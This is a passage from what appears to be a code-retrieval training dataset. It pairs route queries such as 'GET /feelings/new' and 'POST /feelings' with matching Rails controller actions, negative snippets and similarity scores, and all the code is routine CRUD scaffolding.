"def index\n @foafs = Foaf.all\n # if all else fails, make RDF then\n # rapper -o dot -i turtle me.ttl | dot -Tsvg -o me.svg\n respond_to do |format|\n format.html #{ render text: convert_one_to_rdf(@foaf, :html) }\n format.ttl { render text: convert_many_to_rdf(@foafs, :ttl) }\n format.rj { render text: convert_many_to_rdf(@foafs, :json) }\n format.nt { render text: convert_many_to_rdf(@foafs, :ntriples) }\n format.rdf { render text: convert_many_to_rdf(@foafs, :rdf) }\n format.jsonld { render text: convert_many_to_rdf(@foafs, :jsonld) }\n end\n end",
"def get_feat\n @feat = Feat.find_by(:id => params[:id])\n @feat ||= Feat.find_by(:slug => params[:id])\n render :status => 404, :json => {status: 404, message: \"entity not found\"} if @feat.nil?\n end",
"def index\n @filials = Filial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @filials }\n end\n end",
"def show\n @frais_annex = FraisAnnex.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @frais_annex }\n end\n end",
"def show\n @beerstyle = Beerstyle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beerstyle }\n end\n end",
"def show\n @fabric = Fabric.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fabric }\n end\n end",
"def show\n @fund = Fund.friendly.find(params[:id])\n\n render json: @fund\n end",
"def show\n @flat_happening = FlatHappening.find(params[:id])\n\n render json: @flat_happening\n end",
"def index\n @attendees = Attendee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attendees }\n end\n end",
"def show\n @json = Punk::API.one_beer!(params[:id])\n render json: {\n beer: @json\n }\n create(@json)\n end",
"def index\n @familia = Familium.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @familia }\n end\n end",
"def show\n @feedbacks = Feedback.find(params[:id])\n render json: @feedbacks\n end",
"def show\n @haptic_fidelity = HapticFidelity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @haptic_fidelity }\n end\n end",
"def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end",
"def index\n @frais_annexes = FraisAnnex.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_annexes }\n end\n end",
"def show\n @college_fee = CollegeFee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @college_fee }\n end\n end",
"def new\n @butterfly = Butterfly.new\n @butterflies = Butterfly.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @butterfly }\n end\n end",
"def index\n @factions = Faction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @factions }\n end\n end",
"def show\n @mood = Mood.find(params[:id])\n respond_to do |format|\n format.any { render :json => @mood }\n end\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json { render json: @recipe }\n end\n end",
"def show\n @bottle = Bottle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bottle }\n \tformat.json { render :json => @bottle }\n\t\tend\n end",
"def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @funerals }\n end\n end",
"def show\n @housing_feature = HousingFeature.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @housing_feature }\n end\n end",
"def index\n @essays = Essay.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @essays }\n end\n end",
"def show\n @recipe_ingredient = RecipeIngredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_ingredient }\n end\n end",
"def show\n @flavor = compute.get_flavor(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @flavor }\n end\n end",
"def show\n @feedback = Feedback.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedback }\n end\n end"
] | [
"0.6516207",
"0.64383405",
"0.63671356",
"0.6219716",
"0.59933156",
"0.59692436",
"0.59370697",
"0.5857662",
"0.5825682",
"0.57739466",
"0.5749843",
"0.57436013",
"0.57394665",
"0.5708842",
"0.5706743",
"0.56900954",
"0.56874657",
"0.5677101",
"0.56712615",
"0.56625116",
"0.56579566",
"0.5633058",
"0.5618639",
"0.56100446",
"0.5593762",
"0.55936915",
"0.55703086",
"0.5567774",
"0.5563796",
"0.55517447",
"0.5531825",
"0.55292386",
"0.55289644",
"0.55268174",
"0.55126566",
"0.551264",
"0.5507884",
"0.55065614",
"0.54922134",
"0.54845846",
"0.5460891",
"0.5452288",
"0.5450718",
"0.5447453",
"0.544703",
"0.54436946",
"0.5437466",
"0.5429209",
"0.54142946",
"0.54129463",
"0.54052883",
"0.54040736",
"0.5400518",
"0.5396612",
"0.53898025",
"0.5385189",
"0.53846455",
"0.53797966",
"0.53697664",
"0.53697664",
"0.53687656",
"0.5366853",
"0.5359688",
"0.5349052",
"0.5344531",
"0.5343157",
"0.5342868",
"0.5342523",
"0.53360075",
"0.53304",
"0.5327057",
"0.5326359",
"0.53210384",
"0.5319947",
"0.5317867",
"0.53168714",
"0.53126377",
"0.5301334",
"0.5299968",
"0.52995217",
"0.52994794",
"0.52994674",
"0.5287668",
"0.52847105",
"0.52815354",
"0.5279184",
"0.526237",
"0.5254619",
"0.52479947",
"0.52452564",
"0.52450985",
"0.52434677",
"0.5241485",
"0.52406657",
"0.52395296",
"0.52336985",
"0.52301174",
"0.522991",
"0.5228017",
"0.52261555"
] | 0.6761551 | 0 |
GET /feelings/new GET /feelings/new.json | def new
@sake= Sake.find(params[:sake_id])
@feeling = Feeling.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @feeling }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @feeling = Feeling.new(feeling_params)\n\n respond_to do |format|\n if @feeling.save\n format.html { redirect_to new_feeling_path }\n #format.js\n format.json { render :show, status: :created, location: @feeling }\n else\n format.html { render :new }\n #format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @belief = Belief.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @belief }\n end\n end",
"def new\n @feat = @person.feats.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def new\n @fortune = Fortune.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fortune }\n end\n end",
"def new\n @needed_good = NeededGood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @needed_good }\n end\n end",
"def new\n @foodhamper = Foodhamper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foodhamper }\n end\n end",
"def new\n @fishing_method = FishingMethod.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fishing_method }\n end\n end",
"def new\n @flaw = Flaw.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flaw }\n end\n end",
"def new\n @fiction = Fiction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fiction }\n end\n end",
"def new\n @meal = Meal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meal }\n end\n end",
"def new\n @meal = Meal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meal }\n end\n end",
"def new\n @favorite_flyer = FavoriteFlyer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @favorite_flyer }\n end\n end",
"def new\n @food = Food.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @food }\n end\n end",
"def new\n @meal = Meal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @meal }\n end\n end",
"def new\n @favourite_food = FavouriteFood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @favourite_food }\n end\n end",
"def new\n @wanted = Wanted.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wanted }\n end\n end",
"def new\n @saying = Saying.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @saying }\n end\n end",
"def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @good }\n end\n end",
"def new\n @frete = Frete.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @frete }\n end\n end",
"def new\n @star_fact = Star::Fact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @star_fact }\n end\n end",
"def new\n @fact = fact_type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fact }\n end\n end",
"def new\n @laugh = Laugh.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @laugh }\n end\n end",
"def new\n @interested = Interested.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interested }\n end\n end",
"def new\n @cheer = Cheer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cheer }\n end\n end",
"def new\n @beverage = Beverage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beverage }\n end\n end",
"def new\n @faction = Faction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @faction }\n end\n end",
"def new\n #@klass_fee = KlassFee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @klass_fee }\n end\n end",
"def new\n @look_book = LookBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @look_book }\n end\n end",
"def new\n @stalking = Stalking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stalking }\n end\n end",
"def new\n @food_recipe = FoodRecipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @food_recipe }\n end\n end",
"def new\n @fish_type = FishType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fish_type }\n end\n end",
"def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end",
"def new\n @flavor = Flavor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @flavor }\n end\n end",
"def new\n @proposal = Proposal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proposal }\n end\n end",
"def new\n @proposal = Proposal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proposal }\n end\n end",
"def new\n @proposal = Proposal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proposal }\n end\n end",
"def new\n @favorite = Favorite.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @favorite }\n end\n end",
"def new\n @family = Family.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family }\n end\n end",
"def new\n @fundraiser = Fundraiser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fundraiser }\n end\n end",
"def new\n @have = Have.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @have }\n end\n end",
"def create\n @survey = Survey.find(params[:survey_id])\n emoji = params[:emoji]\n mood = params[:mood]\n @feeling = Feeling.new(mood: mood, emoji: emoji)\n @survey.feelings << @feeling\n\n if @feeling.save\n render :ok, json: @feeling\n else\n @errors = @feelings.error.full_messages\n render json: {message: @errors}, status: :unprocessable_entity\n end\n\n if !@survey\n render json: {message: [\"Survey is Required!\"] }, status: :unprocessable_entity\n end\n end",
"def new\n @foam = Foam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foam }\n end\n end",
"def new\n @beer = Beer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beer }\n end\n end",
"def new\n @beer = Beer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beer }\n end\n end",
"def new\n \n\t@attending = Attending.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attending }\n \n end\nend",
"def new\n @foil = Foil.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foil }\n end\n end",
"def new\n @factor = Factor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @factor }\n end\n end",
"def new\n @badge = Badge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @badge }\n end\n end",
"def new\n @believer = Believer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @believer }\n end\n end",
"def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end",
"def new\n @seed = Seed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seed }\n end\n end",
"def new\n @fav = Fav.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fav }\n end\n end",
"def new\n @favourite_listing = FavouriteListing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @favourite_listing }\n end\n end",
"def new\n @familiar = Familiar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @familiar }\n end\n end",
"def new\n @feature = Feature.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feature }\n end\n end",
"def new\n @feature = Feature.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feature }\n end\n end",
"def new\n @finding_aural = FindingAural.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @finding_aural }\n end\n end",
"def new\n @draft = Draft.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @draft }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @recipe = Recipe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipe }\n end\n end",
"def new\n @housing_feature = HousingFeature.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @housing_feature }\n end\n end",
"def new\n @frais_hebergement = FraisHebergement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @frais_hebergement }\n end\n end",
"def new\n #@feat = Feat.new\n @feat = @character.feats.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feat }\n end\n end",
"def new\n @staffer = Staffer.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @staffer }\n end\n end",
"def new\n @fix_upgrade = FixUpgrade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fix_upgrade }\n end\n end",
"def new\n @habit = Habit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @habit }\n end\n end",
"def new\n @habit = Habit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @habit }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feed }\n end\n end",
"def new\n @beat = Beat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beat }\n end\n end",
"def new\n @potluck = Potluck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @potluck }\n end\n end",
"def new\n @meal_profile = MealProfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meal_profile }\n end\n end",
"def new\n @knowledge = Knowledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @knowledge }\n end\n end",
"def new\n @flower = Flower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flower }\n end\n end",
"def new\n @bounty = Bounty.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bounty }\n end\n end",
"def new\n @badge = Badge.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @badge }\n end\n end",
"def new\n @family_crest = FamilyCrest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_crest }\n end\n end",
"def new\n @proposal = listing.proposals.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proposal }\n end\n end",
"def new\n @draft = Draft.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @draft }\n end\n end",
"def new\n @meal_preference = MealPreference.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meal_preference }\n end\n end",
"def new\n @monkey = Monkey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monkey }\n end\n end",
"def new\n @feed = Feed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @feed }\n end\n end",
"def new\n @fundamentals_history = FundamentalsHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fundamentals_history }\n end\n end",
"def new\n @gotcha = Gotcha.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gotcha }\n end\n end",
"def new\n @foiltype = Foiltype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foiltype }\n end\n end",
"def new\n @interesting = Interesting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interesting }\n end\n end",
"def new\n @essay = Essay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @essay }\n end\n end",
"def new\n @feedback = Feedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end",
"def new\n @feedback = Feedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end",
"def new\n @feedback = Feedback.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedback }\n end\n end",
"def new\n @stuff = Stuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stuff }\n end\n end",
"def new\n @golfer = Golfer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @golfer }\n end\n end",
"def new\n @feedentry = Feedentry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feedentry }\n end\n end",
"def new\n @fridge = Fridge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fridge }\n end\n end",
"def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end"
] | [
"0.69000375",
"0.689388",
"0.686288",
"0.68234533",
"0.6801308",
"0.67607284",
"0.67200273",
"0.671727",
"0.66915035",
"0.66681135",
"0.66681135",
"0.6653322",
"0.6639211",
"0.66371816",
"0.66341233",
"0.65769696",
"0.6576178",
"0.65605223",
"0.65164644",
"0.6514515",
"0.6512328",
"0.6510643",
"0.650664",
"0.65016896",
"0.6482244",
"0.645146",
"0.6446622",
"0.6438892",
"0.64348996",
"0.6434726",
"0.64314073",
"0.6422303",
"0.64201206",
"0.64187276",
"0.64187276",
"0.64187276",
"0.64169806",
"0.6414218",
"0.64049846",
"0.6402144",
"0.6401807",
"0.64016324",
"0.6386685",
"0.6386685",
"0.6383893",
"0.6377241",
"0.6376426",
"0.6372941",
"0.6368169",
"0.63651025",
"0.63566065",
"0.63484657",
"0.6347336",
"0.63321376",
"0.63314706",
"0.63314706",
"0.6323289",
"0.6312631",
"0.6312331",
"0.6312331",
"0.6312331",
"0.6312331",
"0.6312331",
"0.63122994",
"0.6309972",
"0.6308625",
"0.63069797",
"0.6306675",
"0.6302296",
"0.6302296",
"0.63013643",
"0.63013643",
"0.63013643",
"0.63013643",
"0.63008654",
"0.62960905",
"0.6293577",
"0.62879926",
"0.6284909",
"0.6284275",
"0.62830794",
"0.62792665",
"0.6276121",
"0.62699586",
"0.6267549",
"0.6260784",
"0.6257551",
"0.6254256",
"0.6247198",
"0.6247173",
"0.6244073",
"0.6240019",
"0.62324613",
"0.62324613",
"0.62324613",
"0.62306273",
"0.6222879",
"0.6218606",
"0.6216679",
"0.62164605"
] | 0.7440437 | 0 |
POST /feelings POST /feelings.json | def create
@sake= Sake.find(params[:sake_id])
@feeling = Feeling.new(params[:feeling])
@feeling.sake_id = params[:sake_id]
@feeling.member_id = current_member.id
p @feeling.to_s
p "tetetetetete"
respond_to do |format|
if @feeling.save
# format.html { redirect_to @feeling, notice: 'Feeling was successfully created.' }
format.html { redirect_to (sake_path(@sake))}
format.json { render json: @feeling, status: :created, location: @feeling }
else
format.html { render action: "new" }
format.json { render json: @feeling.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @survey = Survey.find(params[:survey_id])\n emoji = params[:emoji]\n mood = params[:mood]\n @feeling = Feeling.new(mood: mood, emoji: emoji)\n @survey.feelings << @feeling\n\n if @feeling.save\n render :ok, json: @feeling\n else\n @errors = @feelings.error.full_messages\n render json: {message: @errors}, status: :unprocessable_entity\n end\n\n if !@survey\n render json: {message: [\"Survey is Required!\"] }, status: :unprocessable_entity\n end\n end",
"def create\n @feeling = Feeling.new(feeling_params)\n\n respond_to do |format|\n if @feeling.save\n format.html { redirect_to new_feeling_path }\n #format.js\n format.json { render :show, status: :created, location: @feeling }\n else\n format.html { render :new }\n #format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feeling_params\n params.require(:feeling).permit(:feeling_card_id, :super_category, :category, :vfeeling, :experience_id, :note).merge(user_id: current_user.id)\n end",
"def new\n @sake= Sake.find(params[:sake_id])\n @feeling = Feeling.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @feeling }\n end\n end",
"def set_feeling\n @feeling = Feeling.find(params[:id])\n end",
"def create\n @featuring = Featuring.new(featuring_params)\n\n respond_to do |format|\n if @featuring.save\n format.html { redirect_to @featuring, notice: 'Featuring was successfully created.' }\n format.json { render :show, status: :created, location: @featuring }\n else\n format.html { render :new }\n format.json { render json: @featuring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @feeling_card = FeelingCard.new(feeling_card_params)\n\n respond_to do |format|\n if @feeling_card.save\n format.html { redirect_to @feeling_card, notice: 'Feeling card was successfully created.' }\n format.json { render :show, status: :created, location: @feeling_card }\n else\n format.html { render :new }\n format.json { render json: @feeling_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feeling = Feeling.find(params[:id])\n\n respond_to do |format|\n if @feeling.update_attributes(params[:feeling])\n format.html { redirect_to @feeling, notice: 'Feeling was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @feeling = Feeling.find(params[:id])\n @feeling.destroy\n render :ok, json: { feeling: @feeling }\n end",
"def destroy\n @feeling = Feeling.find(params[:id])\n @feeling.destroy\n\n respond_to do |format|\n format.html { redirect_to feelings_url }\n format.json { head :ok }\n end\n end",
"def create\n @feild = Feild.new(feild_params)\n\n respond_to do |format|\n if @feild.save\n format.html { redirect_to @feild, notice: 'Feild was successfully created.' }\n format.json { render :show, status: :created, location: @feild }\n else\n format.html { render :new }\n format.json { render json: @feild.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @feat = @person.feats.new(params[:feat])\n\n respond_to do |format|\n if @feat.save\n format.html { redirect_to([@person, @feat], :notice => 'Feat was successfully created.') }\n format.xml { render :xml => @feat, :status => :created, :location => @feat }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feat.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @fee = Fee.new(params[:fee])\n\n respond_to do |format|\n if @fee.save\n format.html { redirect_to fees_path, notice: 'Fee was successfully created.' }\n format.json { render json: @fee, status: :created, location: @fee }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts \"update #{@feeling.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @feeling.update(updated_params)\n puts \"brucep update success\"\n #format.html { redirect_to @feeling, notice: 'Feeling was successfully updated.' }\n format.html { redirect_to new_feeling_path }\n format.json { render :show, status: :ok, location: @feeling }\n #format.js\n else\n format.html { render :edit }\n format.json { render json: @feeling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @feeling.destroy\n respond_to do |format|\n format.html { redirect_to feelings_url, notice: 'Feeling was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @fast_food = FastFood.new(fast_food_params)\n\n respond_to do |format|\n if @fast_food.save\n format.html { redirect_to @fast_food, notice: 'Fast food was successfully created.' }\n format.json { render :show, status: :created, location: @fast_food }\n else\n format.html { render :new }\n format.json { render json: @fast_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @feeling = Feeling.find(params[:id])\n @sake = Sake.find(params[:sake_id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feeling }\n end\n end",
"def create\n @friday = Friday.new(friday_params)\n\n respond_to do |format|\n if @friday.save\n format.html { redirect_to @friday, notice: \"Friday was successfully created.\" }\n format.json { render :show, status: :created, location: @friday }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friday.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @foodhamper = Foodhamper.new(params[:foodhamper])\n\n respond_to do |format|\n if @foodhamper.save\n format.html { redirect_to @foodhamper, notice: 'Foodhamper was successfully created.' }\n format.json { render json: @foodhamper, status: :created, location: @foodhamper }\n else\n format.html { render action: \"new\" }\n format.json { render json: @foodhamper.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n category = params[:text].scan(/#(\\w+)/).flatten\n\n idea = Idea.create!(\n content: params[:text],\n category: category,\n user: User.find_by(uid: params[:user_id]),\n channel: params[:channel_name],\n stage: \"seed\"\n )\n json = {\n \"text\": \"#{idea.content}\",\n \"attachments\": [\n {\n \"text\": \"#{idea.user.firstname} just logged a new idea!\",\n \"fallback\": \"You are unable to choose a game\",\n \"callback_id\": \"wopr_game\",\n \"color\": \"#3AA3E3\",\n \"attachment_type\": \"default\",\n \"actions\": [\n {\n \"name\": \"game\",\n \"text\": \"endorse\",\n \"type\": \"button\",\n \"value\": \"chess\"\n },\n {\n \"name\": \"game\",\n \"text\": \"Suggest\",\n \"type\": \"button\",\n \"value\": \"maze\"\n },\n ]\n }\n ]\n }\n\n render json: json\n end",
"def create\n @done_food = DoneFood.new(done_food_params)\n\n respond_to do |format|\n if @done_food.save\n format.html { redirect_to @done_food, notice: 'Done food was successfully created.' }\n format.json { render :show, status: :created, location: @done_food }\n else\n format.html { render :new }\n format.json { render json: @done_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @feelings = Feeling.where(user: current_user).all\n end",
"def create\n #@feat = Feat.new(params[:feat])\n @feat = @character.feats.build(params[:feat])\n\n respond_to do |format|\n if @feat.save\n flash[:notice] = 'Feat was successfully created.'\n format.html { redirect_to(edit_character_path(@character)) }\n format.xml { render :xml => @feat, :status => :created, :location => @feat }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feat.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @questionfife = Questionfive.new(questionfife_params)\n\n respond_to do |format|\n if @questionfife.save\n format.html { redirect_to @questionfife, notice: 'Questionfive was successfully created.' }\n format.json { render :show, status: :created, location: @questionfife }\n else\n format.html { render :new }\n format.json { render json: @questionfife.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_fees\n raise('to be implemented by caller')\n end",
"def feeling_card_params\n params.require(:feeling_card).permit(:super_category, :category, :title)\n end",
"def create\n @fact = @cat.facts.create!({ fact: api_request })\n if @fact.save\n render json: @fact\n else\n render error: { message: \"Não foi possível criar esse fato para este gatinho! :(\" }, status: 400\n end\n end",
"def create\n\n # Rails.logger.warn \"====================\"\n # Rails.logger.warn foaf_params[:interests_attributes]\n # Rails.logger.warn \"====================\"\n\n \n @foaf = Foaf.new(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n end\n end\n\n respond_to do |format|\n if @foaf.save \n format.html { redirect_to @foaf, notice: 'FOAF was successfully created.' }\n format.json { render action: 'show', status: :created, location: @foaf }\n else\n format.html { render action: 'new' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @meal_food = MealFood.new(meal_food_params)\n\n respond_to do |format|\n if @meal_food.save\n format.html { redirect_to @meal_food, notice: 'Meal food was successfully created.' }\n format.json { render :show, status: :created, location: @meal_food }\n else\n format.html { render :new }\n format.json { render json: @meal_food.errors, status: :unprocessable_entity }\n end\n end\n end",
